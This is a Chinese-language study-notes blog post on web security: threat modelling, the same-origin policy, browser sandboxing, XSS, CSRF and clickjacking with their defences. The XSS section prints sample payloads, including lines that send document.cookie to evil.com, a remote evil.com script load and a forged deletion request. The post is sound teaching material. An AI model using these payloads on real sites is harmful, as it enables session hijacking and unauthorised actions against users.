安全是一门朴素的学问,也是一种平衡的艺术。
如同开发者会遇到的挑战一样,有很多问题,不放到一个海量用户的环境下,是难以暴露出来的。由于量变引起质变,所以管理10台服务器,和管理1万台服务器的方法肯定会有所区别;同样的,评估10名工程师的代码安全,和评估1000名工程师的代码安全,方法肯定也要有所不同。
安全工程师的核心竞争力不在于他能拥有多少个 0day,掌握多少种安全技术,而是在于他对安全理解的深度,以及由此引申的看待安全问题的角度和高度。
互联网公司的最大特色和法宝。安全是一个动态的过程,因为敌方攻击手段在变,攻击方法在变,漏洞不断出现;我方业务在变,软件在变,人员在变,妄图通过一个系统、一个方案解决所有的问题是不现实的,也是不可能的,安全需要不断地运营、持续地优化。
最大的漏洞是人。写得再好的程序,在有人参与的情况下,就可能会出现各种各样不可预知的情况,比如管理员的密码有可能泄露,程序员有可能关掉了安全的配置参数,等等。安全问题往往发生在一些意想不到的地方。
安全三要素是安全的基本组成元素,分别是机密性(Confdentiality)、完整性 (Integrity)、可用性(Availability)。
安全评估可以简单地分为4个阶段:资产等级划分、威胁分析、风险分析、确认解决方案。
资产等级划分是所有工作的基础,帮助我们明确目标是什么,要保护什么。
安全的问题本质在于信任问题。被划分出来的具有不同信任级别的区域,我们称为信任域,划分两个不同信任域之间的边界,我们称为信任边界。
数据从高等级的信任域流向低等级的信任域,是不需要经过安全检查的;数据从低等级的信任域流向高等级的信任域,则需要经过信任边界的安全检查。
在实际中会遇到比这复杂许多的情况,比如同样是两个应用,互相之间存在数据交互业务,那么就要考虑这里的数据交互对于各自应用来说是否是可信的,是否应该在两个应用之间划一个边界,然后对流经边界的数据做安全检查。
威胁分析就是把所有的威胁都找出来。怎么找?一般是采用头脑风暴法。当然,也有一些比较科学的方法,比如使用一个模型,帮助我们去想,在哪些方面有可能会存在威胁,这个过程能够避免遗漏,这就是威胁建模。
在本书中介绍一种威胁建模的方法,它最早是由微软提出的,叫做 STRIDE 模型。我们在分析威胁时,可以从以下6个方面去考虑。
风险分析,Risk = Probability Damage Potential ,风险 = 可能性 损失程度
如何更科学地衡量风险呢?这里再介绍一个 DREAD 模型,它也是由微软提出,指导我们应该从哪些方面去判断一个威胁的风险程度。
安全解决方案是安全评估的产出物。解决方案一定要有针对性,这种针对性是由资产等级划分、威胁分析、风险分析等阶段的结果给出的。
没有不安全的业务,只有不安全的实现方式。
那么什么是一个好的安全方案呢:
同源策略是浏览器安全的基础,它限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。
为了不让浏览器的页面行为发生混乱,浏览器提出了“Origin”(源)这一概念,来自不同源的对象无法互相干扰。
在浏览器中,<script>
、<img>
、<iframe>
、<link>
等标签都可以不受同源策略的限制跨域加载资源,这些带 src 属性的标签每次加载时,实际上是由浏览器发起了一次 GET 请求。不同于 XHR 的是,通过标签的 src 属性加载的资源,浏览器限制了 JS 的权限,使其不能读、写返回的内容。
对于 XHR 来说,它可以访问来自同源对象的内容。但 XHR 受到同源策略的约束,不能跨域访问资源。如果 XHR 能够跨域访问资源,则可能会导致一些敏感数据泄露,比如 CSRF 的 token,从而导致发生安全问题。
XHR 跨域访问需要通过目标域返回的 HTTP 头来授权是否允许跨域访问,因为 HTTP 头对于浏览器中的 JS 来说一般是无法控制的,所以认为这个方案可以实施。
Chrome 是第一个采取多进程架构的浏览器,Chrome 的主要进程分为:浏览器进程、渲染进程、插件进程、扩展进程。插件进程如 flash、java、pdf 等与浏览器进程严格隔离,因此不会互相影响。
浏览器的多进程架构将浏览器的各个功能模块分开,各个浏览器实例分开,当一个进程崩溃时,也不会影响到其他的进程。
渲染引擎由 Sandbox 隔离,网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPCchannel,在其中会进行一些安全检查。
Sandbox 设计是为了让不可信任的代码运行在一定的环境中,限制不可信任的代码访问隔离区之外的资源。Sandbox需要考虑用户代码针对本地文件系统、内存、数据库、网络的可能请求,可以采用默认拒绝的策略,如果一定要跨越 Sandbox 边界产生数据交换,则只能通过指定的数据通道,比如经过封装的 API 来完成,在这些 API 中会严格检查请求的合法性。
Sandbox 可以让不受信任的网页代码、JS 代码运行在一个受到限制的环境中,从而保护本地桌面系统的安全。
恶意网址拦截是浏览器周期性地从服务器端获取一份最新的恶意网址黑名单,如果用户上网时访问的网址存在于此黑名单中,浏览器就会弹出一个警告页面。
跨站脚本攻击(Cross Site Script,XSS)指通过「HTML注入」篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS 的本质是一种 HTML 注入,用户的数据被当成了 HTML 代码一部分来执行,从而混淆了原本的语义,产生了新的语义。
针对各种不同场景产生的 XSS,需要区分情景对待。XSS 根据效果不同分为:
存储型 XSS 的风险会高于反射型 XSS,因为存储型 XSS 会保存在服务器上,跨页面存在。
反射型 XSS 的例子:一个页面把用户输入的参数直接输出到页面上,那么用户就可能提交一段 HTML 代码,这个代码将直接在页面执行。我们可以利用这个漏洞盗取访问该页面的任何人的 Cookie,甚至是管理员的,比如输入 <img src="http://evil.com/log?"+escape(document.cookie) />
。
存储型 XSS 的例子:一个带留言板的网页,如果没有对用户输入进行过滤和转译的话,攻击者在留言板留言 <script>alert('XSS')</script>
以后其他用户在进入这个页面时就会获取并执行这个脚本。
DOM Based XSS 的例子:
<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
用户可以输入这样一个字段 ' onclick=alert(/xss/) //
,这个字段首先用一个单引号闭合掉 href 的第一个单引号,然后插入一个 onclick 事件,最后再用注释符 //
注释掉第二个单引号。点击这个新生成的链接,脚本将被执行。
点击这里查看效果。
也可以直接闭合掉 a
标签,插入一个新的 Script 标签 ><img src=# onerror=alert(/xss2/) /><
这样也可以执行脚本。
在前面的 XSS 攻击奏效之后,可以做的事就多了
<script src=http://evil.com/evil.js/>
,在这个脚本中发送 document.cookie
给远程,比如插入一个图片,图片的 src 是 "http://evil.com/log?"+escape(document.cookie)
form.submit()
,也可以直接通过 XHR 发送。获取用户信息:
navigator.userAgent
或者浏览器版本之间独特的差异,来获取浏览器版本信息,可以实施精准的浏览器内存攻击。visited
属性,可以判断用户是否曾经访问某个链接。<base>
标签的使用<base>
标签是文档根 URL 元素,可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。
比如页面打开一张不存在的图片 <img src="/images/logo.png"/>
这个图片会加载失败,如果在这个 img 标签前加上 <base>
标签 <base href="http://www.google.com" />
那么这个图片将从这个指定的 URL 加载,即 http://www.google.com/images/logo.png
这个地址加载资源。
攻击者如果在页面中插入 <base>
标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用相对路径,包括所有使用 src
和 href
属性索引资源的标签。
window.name
的使用window.name
对象是一个很神奇的东西,对当前窗口的 window.name
对象赋值,没有特殊字符的限制。因为 window
对象是浏览器的窗体,而并非 document
对象,因此很多时候 window
对象不受同源策略的限制,因此可以实现跨域、跨页面传递数据。
比如在一个被 XSS 攻击的页面中,获取到信息赋给 window.name
,然后立即跳转到另一个网站。
window.name = "test~ User Cookie is: " + document.cookie;
alert(document.domain + " " + window.name);
window.location = "http://www.google.com/";
在另一个网站中即可获取到上一页面的信息
console.log(window.name);
// test~ User Cookie is: ...
如果给 Cookie 设置了 HttpOnly 那么通过 JS 就无法读取到 Cookie。HttpOnly 可以有选择性地加在任何一个 Cookie 值上,可以仅把 HttpOnly 标记给用于认证的关键 Cookie。
HttpOnly 解决的是 XSS 后的 Cookie 劫持攻击。
输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如 <
、>
、'
、"
等。如果发现存在特殊字符,则将这些字符过滤或者编码。
这种做法类似于白名单,可以让一些基于特殊字符的攻击失效。
输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用 JS 进行输入检查,是很容易被攻击者绕过的,普遍做法是同时在客户端 JS 代码和服务器端代码中实现相同的输入检查。客户端输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。
比较智能的输入检查,还会匹配 XSS 的特征。比如查找用户数据中是否包含了 <script>
、javascript
等敏感字符。
除了富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。编码方式 HtmlEncode 要求将一些常用的特殊字符进行转译,比如 &
转化为 &
、<
转化为 <
、/
转化为 /
等。
在 IE5-8 的时代,有过一个 CSS 表达式 (CSS Expression)解决方案,可以在 CSS 里面写 JS,给 CSS 属性赋一个表达式,当时用来做很多 hack 方案,但是作为一个 Web 时代临时的解决方案也有它的弊端
background: url(javascript:alert("XSS!"));
最近的 CSS Houdini 跟这个 CSS Expression 有点类似,在浏览器正式上线后可以关注一下。
跨站点请求伪造(Cross Site Request Forgery,CSRF)
攻击者首先在一个网页中添加一个图片 <img src="http://blogs.com/blog/remove?id=123">
,这个 src 是指向了删除一个博客网站中某博客的链接,用户访问这个网页,这个图片加载时博客网站的这个博客就会被删除。
CSRF 攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码强制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制 CSRF 攻击。
但很多时候,出于用户体验考虑,网站不能给所有的操作都加上验证码。因此,验证码只能作为防御CSRF的一种辅助手段,而不能作为最主要的解决方案。
检查 Referer 头经常被用来作为图片防盗链的手段,也可以被用来检查请求是否来自合法的源。
如果用户请求的 Referer 值不是这个页面,甚至不是发帖网站的域,则极有可能是 CSRF 攻击。
但并不是任何时候服务器都能获取到 Referer 值,以下情况就可能无法获取
<a>
、<area>
或者 <link>
元素上将 rel 属性设置为 noreferrer
也不会发送 Referer , <a href="http://example.com" rel="noreferrer">
,这是 HTML5 为了保护敏感信息和隐私设置的,因为通过 Referer 可能会泄露一些敏感信息。https://link.zhihu.com/?target=https%3A//tieba.baidu.com/p/3746839672
https://link.zhihu.com/
,然后再跳转到目标网址。这时,Referer 字段就不会包含原始网址,打开 Devtools 可以看到的 Doc 请求不包含 Referer 字段。<a href="https://tieba.baidu.com/p/3746839672">文章</a>
,此时点击跳转,请求的 Doc 会包含 Referer 字段。CSRF 能够攻击成功,本质原因是重要操作的所有参数都是可以被攻击者猜测到的。如果增加一个随机的不可预测的参数,那么将大大增加被 CSRF 的难度,这就是引入 Token 的原因。
在使用 Token 时,应该尽量把 Token 放在表单中。把敏感操作由 GET 改为 POST ,以 form 表单或 AJAX 的形式提交,以避免 Token 泄露。
防御 CSRF 的 Token,是根据不可预测性原则设计的方案,所以 Token 的生成一定要足够随机,需要使用安全的随机数生成器生成 Token。用户提交表单后,对比用户提交的 Token 与当前用户 Session 中的 Token 是否一致。
CSRF 可以在用户不知不觉中完成攻击。但在需要与用户进行交互的场景中,攻击操作是无法进行的,比如如果需要验证码的话。但是,点击劫持使用户在不知不觉中完成交互过程。
点击劫持是一种视觉上的欺骗手段,通过用一个覆盖物遮挡住用户想要点击的地方,诱使用户进行点击。点击劫持攻击与 CSRF 类似,都是在用户不知情的情况下诱使用户完成一些动作。
CSRF 攻击的过程中,如果出现用户交互的页面,则攻击可能会无法顺利完成。但点击劫持没有这个顾虑,它利用的就是与用户产生交互的页面。
点击劫持的防御手段:
禁止 ifame 嵌套:可以通过判断当前网页的 location 是否是最顶级,来排除 iframe 的嵌套
if (top.location !== location) {
top.location = self.location
}
但这种办法可以通过嵌套多个 iframe 的方式绕过,或者通过限制 iframe 页面中 JS 脚本执行的方式来绕过。
使用 X-Frame-Options 头:使用 HTTP 的 X-Frame-Options 头可以控制浏览器加载 frame 页面的行为,有三个值可以设置
比如我们看到 SegmentFault 的页面就使用了这个 HTTP 头来作为点击劫持的防御手段
HTML5 中为 iframe 提供了一个属性 sandbox,这个属性可以通过参数来对 iframe 中的内容启用进行更进去的控制,比如是否允许提交表单、是否允许执行脚本、是否允许访问顶层窗口、是否允许同源访问、是否允许弹框等等,从而极大增强应用使用 iframe 的安全性。
postMessage 允许浏览器的 window(包括窗口、弹出窗口、iframes 等)对象往其他窗口发送文本消息,实现跨窗口的消息传递,这个功能是不受同源策略限制的。使用时有两个安全问题需要注意:
当一个产品功能有缺陷、用户体验极差,甚至是整天宕机的时候,是谈不上安全性的,因为产品本身可能都已经无法存在下去了。但是当一个产品其他方面都做得很好的时候,安全有可能会成为产品的一种核心竞争力,成为拉开产品与竞争对手之间差距的秘密武器。只有安全也做得好的产品,才能成为真正的好产品。
搜索结果是否安全,对网民来说是很重要的,因为搜索引是互联网最重要的一个门户。曾经发生的一些欺诈案件中,钓鱼网站公然出现在搜索结果中,导致很多用户上当受骗。
安全是产品的一种特性,如果我们的产品能够潜移默化地培养用户的安全习惯,将用户往更安全的行为上引导,那么这样的安全就是最理想的产品安全。
一个优秀的安全方案,应该具有两个条件:
可以使安全用的解决方案:
业务逻辑安全
例子 4:回归到 QQ 被盗的情况,用户账户被盗可能有多种可能
用户登录的密码也是高度相似的,比如 123456、666666、qwerty、abc123 等,只要挨个尝试这些简单的密码组合就能暴力破解很多用户的密码。
另外,过往网站的数据库被盗导致的用户数据流失,如果数据库中的密码是明文保存,或者是没有加盐的哈希值,可能导致攻击者根据这些密码来尝试同一个用户的不同网站,因为大部分用户都习惯于使用同一个密码登录不同网站。
安全开发生命周期 SDL(Security Development Lifecycle),由微软最早提出,是帮助解决软件安全问题的办法,在开发的所有阶段都引入了安全和隐私的原则。
SDL 的大致步骤如下:
SDL 实战经验:
网上的帖子大多深浅不一,甚至有些前后矛盾,在下的文章都是学习过程中的总结,如果发现错误,欢迎留言指出,如果本文帮助到了你,别忘了点赞支持一下哦,你的点赞是我更新的最大动力!(收藏不点赞,都是耍流氓 ??)~
参考文档:
PS:本文收录在在下的博客 Github - SHERlocked93/blog 系列文章中,欢迎大家关注我的公众号 前端下午茶
,直接搜索即可添加或者点这里添加,持续为大家推送前端以及前端周边相关优质技术文,共同进步,一起加油~
另外可以加入「前端下午茶交流群」微信群,微信搜索 sherlocked_93
加我好友,备注加群,我拉你入群~
问题描述 按钮样式为图标+文字,在使用flex布局写垂直居中时,iphone7手机上文字...
最近在开发中遇到的需求是:微信扫描课件二维码,播放其对应的课件视频 设计流程...
用什么代码实现?不允许有白色底色产生,因为手机高度不一样 设计图要标准(750...
1. 给logo添加替代文本 这样有两个好处:屏幕阅读器能识别logo图片代表的含义,...
一、前言 在了解加密原理前,我们来看看这样一个故事。 小红和小明是情侣,一天...
创业公司常常能给我们带来惊喜,不拘一格的工作方式,别开生面的商业模式,独树...
首先提示,处于安全的需要JavaScript不能直接访问本地资源文件,那怎么办呢?下...
em是何物? em指字体高,任意浏览器的默认字体高都是16px。所以未经调整的浏览器...
大家好,我是民工哥。 一提到监控系统,大家很快就能想到 Zabbix 、 Prometheu s...
复制代码 代码如下: html !--混合框架的布局: 要想实现复杂的页面布局,只需在f...